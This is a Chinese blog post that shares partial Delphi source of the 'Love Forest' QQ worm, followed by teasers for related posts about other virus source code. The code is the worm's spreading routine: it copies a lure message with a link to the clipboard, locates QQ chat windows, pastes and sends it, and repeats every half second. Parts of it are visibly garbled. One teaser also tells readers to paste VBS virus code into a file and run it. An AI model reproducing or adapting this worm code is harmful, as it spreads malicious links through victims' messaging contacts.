关闭

爱情森林病毒部分源代码

标签: integerformsinterfacewindowsqqgo
1507人阅读 评论(0) 收藏 举报
分类:
爱情森林病毒部分源代码 ,有空学习学习,善与恶的距离只有一步,用的对了就是善良的。
unit qqworm; 
interface 

uses 
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms, 
Dialogs, StdCtrls, ExtCtrls, ComCtrls; 

private 
    
{ Private declarations } 
    procedure MySendMessage;
    procedure MyTalkEach; 
public 
     procedure QQStart;
    
{ Public declarations } 
end; 


implementation 

{$R *.dfm} 

procedure MySendMessage; 
var 
hParent,hButton,hMemo,clp: HWND;
texta:TCustomEdit; 
begin 
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;      
try 
// 找发送消息的QQ 窗口 
    hParent := FindWindow(nil, '发送消息'); 
// 然后找回话时用的编辑窗口,Point 函数用于返回一个TPoint 类型变量 
    hMemo := ChildWindowFromPointEx(hParent, Point(50100),CWP_ALL); 
// 找到“送讯息”按钮的句柄 
    hButton := FindWindowEx(hParent,0,nil,'送讯息(&S)'); 
    
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then 
        
{MessageBox(Handle,' 没有找到发送窗口,请重试! ',' 错误',     MB_ICONWARNING)}
         MyTalkEach
    
else 
        begin 
// 向发送消息中的回话编辑框发送粘贴消息 
        SendMessage(hMemo,WM_PASTE,0,0); 
// 向“送讯息”按钮送单击消息以模仿按键发送回话 
        SendMessage(hButton,BM_CLICK,0,0); 
    end; 
except 
// 如果发生意外错误给出提示 
    MyTalkEach;
    
{MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' ,     MB_ICONWARNING); 

end; 

end; 
procedure MyTalkEach; 
var 
hParent,hButton,hMemo: HWND; 
texta:TCustomEdit; 
begin 
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;  

try 
// 找对话模式中窗口 
//ShowMessage('test'); 
hParent := FindWindow(nil, '对话模式'); 
// 找到对话模式中的回话编辑框 
hMemo := ChildWindowFromPointEx(hParent, Point(50300), 
CWP_ALL); 
hButton :
= FindWindowEx(hParent,0,nil,'送讯息(&S)'); 
// 如果有任何一个句柄没有找到都不能完成发送,并给出提示 
//if hMemo=0 then 
//     ShowMessage('1'); 
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin 
{MessageBox(Handle,' 没有找到发送窗口,请切换到双人对话模式! ',' 错误'
MB_ICONWARNING);}

MySendMessage; 
//ShowMessage('go'); 
end 
else 
begin 
// 向对话模式中的回话编辑框发送粘贴消息 
    SendMessage(hMemo,WM_PASTE,0,0); 
// 向“送讯息”按钮送单击消息以模仿按键发送回话 
SendMessage(hButton,BM_CLICK,0,0); 
end; 
except 
// 如果发生意外错误给出提示 
MySendMessage;
{MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' , 
MB_ICONWARNING);}
 
end; 
end; 

procedure QQStart;
var
k:integer;
Begin
k:
=0;
while k=0 do
Begin
Sleep(
500);
MySendMessage;
End;

0
0
查看评论

【爱情森林】病毒清除

病毒特征       该木马程序用Delphi编写,并用UPX进行了压缩,但该程序需要用户的机器上安装了Delphi的动态库才能运行。该程序具有同“爱情森林”的第一个版本相同的特征,因此极有可能是病毒作者对“爱情森林”的第一个版本重新编译后生成的。木马程序被运行后会:   ...
  • qq_29165499
  • qq_29165499
  • 2016-01-21 11:53
  • 339

爱虫病毒源代码分析

!--这是爱虫病毒的源代码,爱虫病毒通过邮件传播,但是只局限于outlook的用户,病毒作者通过邮件的内容引诱收件人打开邮件的附件。而事实上,附件是一个.vbs的vbscript脚本程序,当用户打开这个文件时,病毒找到计算机上的所有邮件地址,并把自己作为附件粘到附件里并发送出去。而且会把自己得复制到...
  • manio
  • manio
  • 2006-11-02 17:04
  • 3756

一个简易的c语言病毒源码

/*C语言病毒代码*/ #include #include #include #include #include /* copy outfile to infile */ void copyfile(char *infile, char *outfile) { FILE *in,*out;...
  • xiawu1990
  • xiawu1990
  • 2010-11-03 22:28
  • 13503

熊猫烧香病毒源码及分析

今天在OSC看到有人共享熊猫烧香的源码,用Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字里行间留露出作者的愤青情绪啊,大体的看了下,主要是通过拷贝到Windows系统目录中,注册表添加自启动的蠕虫病毒,通过VB调用Windows的Outlook发送邮件,进而达到传播病毒,...
  • zhenyu5211314
  • zhenyu5211314
  • 2014-01-10 16:19
  • 15873

C语言病毒源代码

#include #include #include #include #include /* copy outfile to infile */void copyfile(char *infile, char *outfile){     ...
  • keepinglove
  • keepinglove
  • 2008-01-23 04:06
  • 3159

网上流行的欢乐病毒源码

把一下代码复制粘贴到新建的vbs文件中,再双击运行即可!!! PS:病毒文件,大家谨慎使用。 Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_s...
  • u013703963
  • u013703963
  • 2016-12-25 13:33
  • 486

新鬼影病毒

今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T      好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学...
  • hanghangaidoudou
  • hanghangaidoudou
  • 2012-08-13 21:19
  • 4434

CIH病毒源代码

<br />**************************************************************************** <br /><br />; * * <br />; * Designer : CIH ...
  • LUYUANWAN
  • LUYUANWAN
  • 2010-10-04 16:42
  • 453

震荡波病毒C语言源码

#include    #include    #include    #include    #include    #define NORM "\033[00;00m"...
  • ccx_john
  • ccx_john
  • 2014-07-06 15:50
  • 942

万花谷网页病毒源码分析

国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,这是有人利用Java最新技术进行破坏的又一个...
  • sdly
  • sdly
  • 2001-08-14 17:24
  • 1772
    个人资料
    • 访问:1608252次
    • 积分:16840
    • 等级:
    • 排名:第712名
    • 原创:195篇
    • 转载:192篇
    • 译文:2篇
    • 评论:376条
    文章存档
    最新评论